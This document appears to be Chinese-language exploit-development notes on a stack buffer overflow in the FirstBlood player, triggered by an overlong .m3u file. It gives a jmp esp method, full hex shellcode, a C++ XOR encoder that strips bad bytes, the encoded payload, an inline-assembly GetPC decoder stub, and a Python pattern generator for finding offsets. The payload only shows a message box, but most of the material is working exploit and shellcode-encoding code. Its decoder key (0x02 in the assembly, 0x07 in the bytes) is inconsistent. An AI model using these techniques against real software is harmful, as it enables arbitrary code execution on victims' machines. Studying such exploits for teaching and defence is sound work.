FirstBlood溢出攻击
FirstBlood
程序情况:小道消息对m3u文件分析,当m3u文件输入很多字符的时候程序会崩溃。
1.用二分法跟字符串定位溢出点。
2.搜索所有模块-命令-jmp esp
找个顺眼的放入溢出地址,下断点,将这个地址填入溢出点后,程序溢出就会在这个地址断下。
//MessageboxA弹出Helloworld源码
char bShellcode[] = "\x83\xEC\x20\xEB\x4D\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x12\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x51\x52\xFF\xD0\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAE\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8";
90 用来定位,标记,等作用。
EncodeShellCode
#include "pch.h"
#include <iostream>
bool AutoEncoder(char* pData, int nSize)
{
// 1.循环尝试用不同的key加密,直到加密的结果不出现0x00,0x0A,0x0D
int nOutKey = 0x00;
unsigned char* pBuffer = NULL;
bool bComplete = true;
pBuffer = (unsigned char*)new char[nSize + 1];
for (int key=0;key<0xFF;key++)
{
nOutKey = key;
bComplete = true;
for (int i=0;i<nSize;i++)
{
// pBuffer[i]保存pData[i]跟Key异或的值
// 如果异或完的值是0x00或者0x0A或者0x0D,就退出换一个key继续。
pBuffer[i] = pData[i] ^ key;
if (0x00==pBuffer[i]|| 0x0A == pBuffer[i] || 0x0D == pBuffer[i])
{
bComplete = false;
break;
}
}
if (bComplete)
{
break;
}
}
// 2. 判断加密是否成功,不成功则返回false
if (!bComplete)
{
return false;
}
// 3. 将加密后的内容保存到文件
FILE *fpOutFile;
if (EINVAL == fopen_s(&fpOutFile, "encode.txt", "w+"))
{
return false;
}
// 3.1 输出加密的密码
fprintf(fpOutFile, "/* Encode Key=0x%0.2X*/\n", nOutKey);
// 3.2 输出加密完的代码
fprintf(fpOutFile, "char bShellcode[]=\\\n\"");
for (int i=0;i<nSize;i++)
{
fprintf(fpOutFile, "\\x%0.2X", pBuffer[i]);
if ((i+1)%16==0)
{
fprintf(fpOutFile, "\"\\\n\"");
}
}
// 3.3 输出分号
fprintf(fpOutFile, "\";");
// 4.关闭句柄
fclose(fpOutFile);
delete[] pBuffer;
return true;
}
int main()
{
char bShellcode[] = "\x83\xEC\x20\xEB\x4D\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x12\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x51\x52\xFF\xD0\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAE\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8";
AutoEncoder(bShellcode, sizeof(bShellcode));
}
加密完
加密密码是0x07
/* Encode Key=0x07*/
char bShellcode[]=\
"\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63\x75"\
"\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42"\
"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62"\
"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75"\
"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x50\x68\x75\x6B"\
"\x63\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C"\
"\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x15\x07\x07"\
"\x07\x8C\xF7\x8A\x4C\xBA\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF\x69"\
"\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B"\
"\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E"\
"\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B"\
"\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C"\
"\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA9\xBE\x09\x07\x07\x07"\
"\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52"\
"\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F"\
"\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB\x6D\x07\x6D"\
"\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17\x8E\x42\xFB"\
"\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xE8"\
"\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x07";
DecodeShellCode
int main()
{
__asm
{
// 1.GetPC
xor eax,eax
call tag_GET_PC
tag_GET_PC:
retn
pop eax
// 2.Decode
lea esi,[eax+0x1B] // esi = Shellcode(Encode)需要解密的位置
// 1B正好跳过了这段机器码
xor ecx,ecx
mov cx,0x0136
tag_Decode:
mov al,[esi+ecx] // 解密前字节
xor al,0x02 // 解密后字节
mov [esi+ecx],al
loop tag_Decode
xor [esi+ecx],0x02 // 将最后一个字节解密(因为ecx为0时LOOP会停止)
// 3.跳转到Shellcode
jmp esi
}
}
禁用优化,安全检查,数据保护,随即地址
用调试器提取机器码。
用来解码
"\x33\xC0\xE8\x00\x00\x00\x00\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x36\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6"
因为00000000的位置会被截断,所以改成FFFFFFFF
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x36\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6"
Python生成定位用字符串
def createPattern(size):
char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
char2="abcdefghijklmnopqrstuvwxyz"
char3="0123456789,.;+=-_!&()#@({})[]%"
pattern = []
max = int(size)
while len(pattern) < max:
for ch1 in char1:
for ch2 in char2:
for ch3 in char3:
if len(pattern) < max:
pattern.append(ch1)
if len(pattern) < max:
pattern.append(ch2)
if len(pattern) < max:
pattern.append(ch3)
pattern = "".join(pattern)
return pattern
import sys
size = int(sys.argv[1])
s = createPattern(size)
file = open("Pattern.txt", "w+")
file.write(s)
file.close()